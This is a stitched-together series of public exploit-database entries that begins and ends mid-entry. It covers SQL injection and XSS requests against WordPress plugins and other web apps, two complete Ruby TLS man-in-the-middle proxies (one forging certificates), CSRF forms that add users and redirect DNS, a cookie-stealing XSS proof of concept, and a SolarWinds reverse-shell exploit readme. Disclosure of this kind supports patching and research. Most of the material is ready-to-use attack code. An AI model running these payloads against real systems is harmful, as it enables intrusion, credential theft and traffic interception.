Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_rating&del_id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_spidercatalog_product_votes WHERE id=waraxe This confirms SQL Injection existence. ############################################################################### 15. SQL Injection in "products.php" function "update_s_c_rating()" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as Wordpress admin Php script "products.php" line 1086: ------------------------[ source code start ]---------------------------------- function update_s_c_rating($id){ ... $rows=$wpdb->get_col("SELECT `id` FROM ".$wpdb->prefix."spidercatalog_product_votes WHERE product_id=".$id); ------------------------[ source code end ]------------------------------------ Test: first we need to make sure, that Wordpress will show SQL errors. Let's open the file "wp-includes/wp-db.php" and change the line var $show_errors = false; to the line below: var $show_errors = true; Now log in as Wordpress admin and then issue GET request as below: http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=s_p_apply_rating&id=waraxe As result SQL errors will be shown on webpage: WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT `id` FROM wp_spidercatalog_product_votes WHERE product_id=waraxe This confirms SQL Injection existence. ############################################################################### 16. Stored XSS in Spider Catalog category name ############################################################################### Reason: 1. insufficient sanitization of html output Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Test: 1. Add or edit Spider Catalog category entry and set name for category as following: test<script>alert(123);</script> 2. View added/edited category: http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=2 Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 17. Stored XSS in Spider Catalog product name ############################################################################### Reason: 1. insufficient sanitization of html output Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Test: 1. Add or edit Spider Catalog product entry and set name for product as following: test<script>alert(123);</script> 2. View added/edited product: http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_prad&id=5 Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 18. Reflected XSS in "Categories.html.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and "order_by" Preconditions: 1. logged in as user with "manage_options" privileges (admin by default) Php script "Categories.html.php" line 90: ------------------------[ source code start ]---------------------------------- if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){ $serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}} ... <input type="text" name="search_events_by_title" value="'.$serch_value.'" ... <input type="hidden" name="asc_or_desc" id="asc_or_desc" value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" /> <input type="hidden" name="order_by" id="order_by" value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" /> ------------------------[ source code end ]------------------------------------ Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog" method="post"> <input type="hidden" name="serch_or_not" value="search"> <input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'> <input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'> <input type="hidden" name="order_by" value='"><script>alert(333);</script>'> <input type="submit" value="Test"> </form> </center></body></html> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 19. Reflected XSS in "Products.html.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and "order_by" Preconditions: 1. logged in as user with "manage_options" privileges (admin by default) Php script "Products.html.php" line 91: ------------------------[ source code start ]---------------------------------- if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){ $serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}} ... <input type="text" name="search_events_by_title" value="'.$serch_value.'" ... <input type="hidden" name="asc_or_desc" id="asc_or_desc" value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" /> <input type="hidden" name="order_by" id="order_by" value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" /> ------------------------[ source code end ]------------------------------------ Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog" method="post"> <input type="hidden" name="serch_or_not" value="search"> <input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'> <input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'> <input type="hidden" name="order_by" value='"><script>alert(333);</script>'> <input type="submit" value="Test"> </form> </center></body></html> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 20. Reflected XSS in "spiderBox/spiderBox.js.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop", "darkBG","juriroot" Preconditions: 1. PHP setting "register_globals=1" Php script "spiderBox.js.php" line 243: ------------------------[ source code start ]---------------------------------- slideShowDelay=<?php echo $_GET['delay']; ?>; slideShowQ=<?php echo $_GET['slideShowQ']; ?>; allImagesQ=<?php echo $_GET['allImagesQ']; ?>; spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>; darkBG=<?php echo $_GET['darkBG']; ?>; keyOfOpenImage=-1; spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/"; ------------------------[ source code end ]------------------------------------ Tests: http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?delay=</script><script>alert(123);</script> http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?slideShowQ=</script><script>alert(123);</script> http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?allImagesQ=</script><script>alert(123);</script> http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?spiderShop=</script><script>alert(123);</script> http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?darkBG=</script><script>alert(123);</script> http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=</script><script>alert(123);</script> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. By the way, GET parameter "juriroot" allows us to use double url encoding, which bypasses IE Anti-XSS filter: http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=%253C%252Fscript%253E%253Cscript%253Ealert%2528123%2529%253B%253C%252Fscript%253E ############################################################################### 21. Reflected XSS in "catalog.php" function "spider_box_js_php()" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop", "darkBG","juriroot" Preconditions: none Php script "catalog.php" line 1026: ------------------------[ source code start ]---------------------------------- add_action('wp_ajax_spiderboxjsphp', 'spider_box_js_php'); add_action('wp_ajax_nopriv_spiderboxjsphp', 'spider_box_js_php'); function spider_box_js_php(){ ... slideShowDelay=<?php echo $_GET['delay']; ?>; slideShowQ=<?php echo $_GET['slideShowQ']; ?>; allImagesQ=<?php echo $_GET['allImagesQ']; ?>; spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>; darkBG=<?php echo $_GET['darkBG']; ?>; keyOfOpenImage=-1; spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/"; ------------------------[ source code end ]------------------------------------
  10. source: https://www.securityfocus.com/bid/61093/info Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary script code within the context of the application. Versions prior to Cryptocat 2.0.22 are vulnerable. Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg
  11. source: https://www.securityfocus.com/bid/61086/info iVote is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. iVote 1.0.0 is vulnerable; other versions may be affected. http://www.example.com/iVote/details.php?id=1 union select 1,password,3,4 from settings
  12. #!/usr/bin/env ruby # encoding: ASCII-8BIT # By Ramon de C Valle. This work is dedicated to the public domain. require 'openssl' require 'optparse' require 'socket' Version = [0, 0, 1] Release = nil def prf(secret, label, seed) if secret.empty? s1 = s2 = '' else length = ((secret.length * 1.0) / 2).ceil s1 = secret[0..(length - 1)] s2 = secret[(length - 1)..(secret.length - 1)] end hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed) hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed) hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed) hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed) result = '' [hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') } result end def prf_sha256(secret, label, seed) hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed) end class String def hexdump(stream=$stdout) 0.step(bytesize - 1, 16) do |i| stream.printf('%08x ', i) 0.upto(15) do |j| stream.printf(' ') if j == 8 if i + j >= bytesize stream.printf(' ') else stream.printf('%02x ', getbyte(i + j)) end end stream.printf(' ') 0.upto(15) do |j| if i + j >= bytesize stream.printf(' ') else if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr stream.printf('%c', getbyte(i + j)) else stream.printf('.') end end end stream.printf("\n") end end end options = {} OptionParser.new do |parser| parser.banner = "Usage: #{parser.program_name} [options] host" parser.separator('') parser.separator('Options:') parser.on('-H', '--local-host HOST', 'Local host') do |host| options[:local_host] = host end parser.on('-P', '--local-port PORT', 'Local port') do |port| options[:local_port] = port end parser.on('-d', '--debug', 'Debug mode') do options[:debug] = true end parser.on('-h', '--help', 'Show this message') do puts parser exit end parser.on('-o', '--output FILE', 'Output file') do |file| options[:file] = File.new(file, 'w+b') end parser.on('-p', '--port PORT', 'Port') do |port| options[:port] = port end parser.on('-v', '--verbose', 'Verbose mode') do options[:verbose] = true end parser.on('--version', 'Show version') do puts parser.ver exit end end.parse! local_host = options[:local_host] || '0.0.0.0' local_port = options[:local_port] || 443 debug = options[:debug] || false file = options[:file] || nil host = ARGV[0] or fail ArgumentError, 'no host given' port = options[:port] || 443 verbose = options[:verbose] || false proxy = TCPServer.new(local_host, local_port) puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose loop do Thread.start(proxy.accept) do |client| puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose finished_sent = false handshake_messages = '' version = '' context = OpenSSL::SSL::SSLContext.new(:TLSv1) context.verify_mode = OpenSSL::SSL::VERIFY_NONE tcp_socket = TCPSocket.new(host, port) ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) ssl_server.connect puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose server = TCPSocket.new(host, port) puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose loop do readable, = IO.select([client, server]) readable.each do |r| if r == ssl_server # ssl_server is an SSL socket; read application data directly header = '' fragment = r.readpartial(4096) fragment.hexdump($stderr) if debug puts '%d bytes received' % [fragment.bytesize] if debug || verbose else header = r.read(5) raise EOFError if header.nil? header.hexdump($stderr) if debug puts '%d bytes received' % [header.bytesize] if debug || verbose fragment = r.read(header[3, 2].unpack('n')[0]) fragment.hexdump($stderr) if debug puts '%d bytes received' % [fragment.bytesize] if debug || verbose end if finished_sent if file # Save application data file.write(fragment) file.flush file.fsync end elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done # Drop the server hello done message and send the finished # message in plaintext. if header[2, 1] == "\x03" verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages)) verify_data = verify_data[0, 12] else verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages)) verify_data = verify_data[0, 12] end finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}" record = header[0, 3] + [finished.length].pack('n') + finished count = client.write(record) client.flush record.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose finished_sent = true # Change to the SSL socket server.close server = ssl_server # Save version used in the handshake version = header[2, 1] next else # Save handshake messages handshake_messages << fragment end case r when client if finished_sent # server is an SSL socket count = server.write(fragment) server.flush fragment.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose else # server isn't an SSL socket record = header + fragment count = server.write(record) server.flush record.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end when ssl_server # client isn't an SSL socket; add the record layer header with # the same version used in the handshake. header = "\x17\x03#{version}" + [fragment.length].pack('n') record = header + fragment count = client.write(record) client.flush record.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose when server record = header + fragment count = client.write(record) client.flush record.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end end end client.close server.close end end proxy.close
  13. source: https://www.securityfocus.com/bid/61138/info Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Serendipity 1.6.2 is vulnerable; other versions may also be affected. http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117 &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117 &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117 http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
  14. #!/usr/bin/env ruby # encoding: ASCII-8BIT # By Ramon de C Valle. This work is dedicated to the public domain. require 'openssl' require 'optparse' require 'socket' Version = [0, 0, 1] Release = nil class String def hexdump(stream=$stdout) 0.step(bytesize - 1, 16) do |i| stream.printf('%08x ', i) 0.upto(15) do |j| stream.printf(' ') if j == 8 if i + j >= bytesize stream.printf(' ') else stream.printf('%02x ', getbyte(i + j)) end end stream.printf(' ') 0.upto(15) do |j| if i + j >= bytesize stream.printf(' ') else if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr stream.printf('%c', getbyte(i + j)) else stream.printf('.') end end end stream.printf("\n") end end end options = {} OptionParser.new do |parser| parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert" parser.separator('') parser.separator('Options:') parser.on('-H', '--local-host HOST', 'Local host') do |host| options[:local_host] = host end parser.on('-P', '--local-port PORT', 'Local port') do |port| options[:local_port] = port end parser.on('-d', '--debug', 'Debug mode') do options[:debug] = true end parser.on('-h', '--help', 'Show this message') do puts parser exit end parser.on('-o', '--output FILE', 'Output file') do |file| options[:file] = File.new(file, 'w+b') end parser.on('-p', '--port PORT', 'Port') do |port| options[:port] = port end parser.on('-v', '--verbose', 'Verbose mode') do options[:verbose] = true end parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase| options[:pass_phrase] = pass_phrase end parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject| options[:subject] = subject end parser.on('--version', 'Show version') do puts parser.ver exit end end.parse! local_host = options[:local_host] || '0.0.0.0' local_port = options[:local_port] || 443 debug = options[:debug] || false file = options[:file] || nil host = ARGV[0] or fail ArgumentError, 'no host given' port = options[:port] || 443 verbose = options[:verbose] || false cacert = ARGV[1] or fail ArgumentError, 'no cacert given' key = ARGV[2] or fail ArgumentError, 'no key given' pass_phrase = options[:pass_phrase] || nil cert = ARGV[3] or fail ArgumentError, 'no cert given' subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}" root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA') root_ca_key = OpenSSL::PKey::RSA.new(2048) root_ca_cert = OpenSSL::X509::Certificate.new root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA') root_ca_cert.not_after = Time.now + 86400 root_ca_cert.not_before = Time.now root_ca_cert.public_key = root_ca_key.public_key root_ca_cert.serial = 0 root_ca_cert.subject = root_ca_name root_ca_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert) root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true)) root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true)) root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new) inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA') inter_ca_key = OpenSSL::PKey::RSA.new(2048) inter_ca_cert = OpenSSL::X509::Certificate.new inter_ca_cert.issuer = root_ca_name inter_ca_cert.not_after = Time.now + 86400 inter_ca_cert.not_before = Time.now inter_ca_cert.public_key = inter_ca_key.public_key inter_ca_cert.serial = 0 inter_ca_cert.subject = inter_ca_name inter_ca_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert) inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true)) inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true)) inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new) subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert)) subinter_ca_cert.issuer = inter_ca_name subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new) leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase) leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert)) fake_name = OpenSSL::X509::Name.parse(subject) fake_key = OpenSSL::PKey::RSA.new(2048) fake_cert = OpenSSL::X509::Certificate.new fake_cert.issuer = leaf_cert.subject fake_cert.not_after = Time.now + 3600 fake_cert.not_before = Time.now fake_cert.public_key = fake_key.public_key fake_cert.serial = 0 fake_cert.subject = fake_name fake_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert) fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true)) fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment')) fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new) context = OpenSSL::SSL::SSLContext.new context.cert = fake_cert context.extra_chain_cert = [leaf_cert, subinter_ca_cert] context.key = fake_key tcp_server = TCPServer.new(local_host, local_port) proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context) puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose loop do Thread.start(proxy.accept) do |client| puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose context = OpenSSL::SSL::SSLContext.new(:TLSv1) context.verify_mode = OpenSSL::SSL::VERIFY_NONE tcp_socket = TCPSocket.new(host, port) server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) server.connect puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose loop do readable, = IO.select([client, server]) readable.each do |r| data = r.readpartial(4096) data.hexdump($stderr) if debug puts '%d bytes received' % [data.bytesize] if debug || verbose if file file.write(data) file.flush file.fsync end case r when client count = server.write(data) server.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose when server count = client.write(data) client.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end end end client.close server.close end end proxy.close
  15. source: https://www.securityfocus.com/bid/61140/info Pie Register plugin for WordPress is prone to multiple cross-site scripting vulnerabilities. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Pie Register 1.30 is vulnerable; other versions may also be affected. <?php echo $_POST['pass1'];?> <?php echo $_POST['pass2'];?>
  16. Requirements: Python 2.7 netcat Tested on: Ubuntu 14.04 LTS Vulnerable Appliance Version: 6.1.0 Download: http://downloads.solarwinds.com/solarwinds/Release/LEM/SolarWinds-LEM-v6.1.0-Evaluation-VMware.exe Instructions: The exploit_lem.py script will need to be run sudo since it uses sockets which bind to port 21 and 80. These could be changed, but the rest of the script would need to be modified as well. Prior to running the python script, set up a netcat listener for the reverse shell: netcat -l 4444 Example: sudo python exploit_lem.py -t 192.168.1.100 -b 192.168.1.101 -l 192.168.1.101 -lp 4444 After access has been gained to the appliance, a new admin user can be added to the web console by editing /usr/local/contego/run/manager/UserContextLibrary.xml. Simply copy the xml structure for the admin user that is already in there and then change the fields to create a new user. In order to get a valid password hash, use the gen_pass_hash.py script included with this package. Please note that a manager restart will be needed before you can login with the new user. This can be accomplished by running "/etc/init.d/contego-manager restart" Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38644.zip
  17. [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-CSRF.txt Vendor: ================================ www.nxfilter.org/p2/ Product: ================================ NXFilter v3.0.3 Vulnerability Type: ================================= Cross site request forgery - CSRF CVE Reference: ============== N/A Vulnerability Details: ===================== No CSRF protections exist allowing us to make malicious HTTP requests on behalf of our victim. The Server will then happily process any of the following actions if our victim clicks our infected linx or visits our malicious website while currently logged in to the vulnerable application. 1) "add arbitrary users" 2) "add or change SMTP settings" 3) "add arbitrary redirect domains" 4) "add arbitrary zone transfers" 5) "delete zone transfer domains" Exploit code(s): =============== <!DOCTYPE> <html> <head> <title></title> <body onLoad="doit()"> <script> function doit(){ var e=document.getElementById('HELL') e.submit() } </script> 1) CSRF add arbitrary users <form id="HELL" action="http://localhost/user,user.jsp" method="post"> <input type="text" name="action_flag" value="insert" > <input type="text" name="name" value="punksnotdead"> <input type="text" name="description" value="<script>alert(666)</script>"> <---- and some persistent XSS! </form> 2) CSRF add or change SMTP notification alerts <form id="HELL" action="http://localhost/config,alert.jsp" method="post"> <input type="text" name="action_flag" value="update" > <input type="text" name="admin_email" value="ghostofsin@abyss.com"> <input type="text" name="smtp_host" value="6.6.6.0"> <input type="text" name="smtp_port" value="25"> <input type="text" name="smtp_user" value="hyp3rlinx"> <input type="text" name="smtp_passwd" value="abc123"> <input type="text" name="period" value="0"> <input type="text" name="token" value=""> </form> 3) CSRF add arbitrary redirect domain <form id="HELL" action="http://localhost/config,redirection.jsp" method="post"> <input type="text" name="action_flag" value="insert" > <input type="text" name="src" value="hyp3rlinx.altervista.org"> <input type="text" name="dst" value="6.6.6.0"> </form> 4) CSRF add arbitrary zone transfers <form id="HELL" action="http://localhost/config,zone_transfer.jsp" method="post"> <input type="text" name="action_flag" value="insert" > <input type="text" name="domain" value="hyp3rlinx.altervista.org"> <input type="text" name="ip" value="6.6.6.0"> </form> 5) CSRF delete zone transfer domains http://localhost/config,zone_transfer.jsp?action_flag=delete&id=1 Disclosure Timeline: ====================================== Vendor Notification: October 18, 2015 November 5, 2015 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: =============== High Description: ========================================================== Request Method(s): [+] GET / POST Vulnerable Product: [+] NXFilter v3.0.3 =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
  18. Exploit TItle: My Calendar 2.4.10 CSRF and XSS Exploit Author : Mysticism (Ahn Sung Jun) Date : 2015-11-06 Vendor Homepage : http://wordpress.org/plugins/my-calendar Software Link : https://downloads.wordpress.org/plugin/my-calendar.2.4.10.zip Version : 2.4.10 Tested On : kail linux Iceweasel =================== Vulnerable Code : my-calendar-categoris.php if ( isset( $_POST['mode'] ) && $_POST['mode'] == 'add' ) { $term = wp_insert_term( $_POST['category_name'], 'mc-event-category' ); if ( ! is_wp_error( $term ) ) { $term = $term['term_id']; } else { $term = false; } $add = array( 'category_name' => $_POST['category_name'], 'category_color' => $_POST['category_color'], 'category_icon' => $_POST['category_icon'], 'category_private' => ( ( isset( $_POST['category_private'] ) ) ? 1 : 0 ), 'category_term' => $term ); } POC (CSRF & XSS) <html> <body onload="javascript:document.forms[0].submit()"> <form id="my-calendar" method="post" action="http://192.168.0.2/wordpress/wp-admin/admin.php?page=my-calendar-categories"> <input type="hidden" name="_wpnonce" value="35ed9ab206"/> <input type="hidden" name="mode" value="add"/> <input type="hidden" name="category_id" value="4"/> <input name="category_name" id="cat_name" type="hidden" class="input" size="30" value="<script>alert(document.cookie)</script>"> <input type="hidden" id="cat_color" name="category_color" class="mc-color-input" size="10" maxlength="7" value=""/> <input type="hidden" value="on" name="category_private" id="cat_private" /> <input type="hidden" value="on" name="mc_default_category" id="mc_default_category" /> <input type="hidden" value="on" name="mc_skip_holidays_category" id="mc_shc" /> <input type="submit" name="save" class="button-primary" value="Add Category &raquo;"/> </form> </html> Discovered By Mysticism(Ahn Sung Jun)
  19. [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt Vendor: ================================ www.nxfilter.org/p2/ Product: ================================ NXFilter v3.0.3 Vulnerability Type: ========================= Persistent & Reflected XSS CVE Reference: ============== N/A Vulnerability Details: ===================== Persistent & reflected XSS entry points exist allowing arbitrary client side browser code execution on victims who click our infected linx or visit persistently stored XSS payloads. XSS strings seem to get filtered, yet we can defeat that using JS String.fromCharCode() functions. Exploit code(s): =============== 1) persistent XSS under category / custom "name" parameter is vulnerable to persistent XSS injection using POST method. http://localhost/category,custom.jsp <input type="text" name="description" value="<script>alert(666)</script>" size="50"> 2) reflected XSS http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points= 3) reflected XSS http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E Disclosure Timeline: ======================================= Vendor Notification: October 18, 2015 November 5, 2015 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: =================================================== High Description: ================================================== Request Method(s): [+] GET / POST Vulnerable Product: [+] NXFilter v3.0.3 Vulnerable Parameter(s): [+] name, user, kw =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
  20. #!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title : QNap QVR Client 5.1.0.11290 Crash PoC # Discovery by : Luis Martínez # Email : l4m5@hotmail.com # Discovery Date : 05/11/2015 # Vendor Homepage: http://www.qnapsecurity.com/n/en/ # Software Link : http://download.qnap.com/Surveillance/Utility/QMon_20150630.zip # Tested Version : 5.1 # Vulnerability Type : Denial of Service (DoS) Local # Tested on OS : Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code : python qvr_client_5.1.py # 2.- Open qvr_client_5.1.txt and copy content to clipboard # 3.- Open QVR Client # 4.- Direccion IP/Puerto -> 10.10.10.1 / 80 # 5.- Paste ClipBoard on "Nombre de Usuario" # 6.- Contraseña -> test # 7.- Aceptar # 8.- Crashed buffer = "\x41" * 260 f = open ("qvr_client_5.1.txt", "w") f.write(buffer) f.close()
  21. # Date: 06.11.2015 # Title: Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution # Exploit Author: Dawid Golunski # Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries # Software Link: https://github.com/googleads/googleads-php-lib # Version: <=6.2.0 ============================================= - Release date: 06.11.2015 - Discovered by: Dawid Golunski - Severity: Medium/High ============================================= I. VULNERABILITY ------------------------- Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution (googleads-php-lib) II. BACKGROUND ------------------------- - AdWords API https://developers.google.com/adwords/api/docs/ "The AdWords API is a collection of web services that you can use to build applications that manage AdWords accounts and their associated campaign data. While the AdWords API is based on SOAP 1.1, high-level client libraries are provided to help you develop applications more quickly." AdWords API client libraries are available for different platforms such as PHP, .NET, Java etc. These can be found at: https://developers.google.com/adwords/api/docs/clientlibraries III. 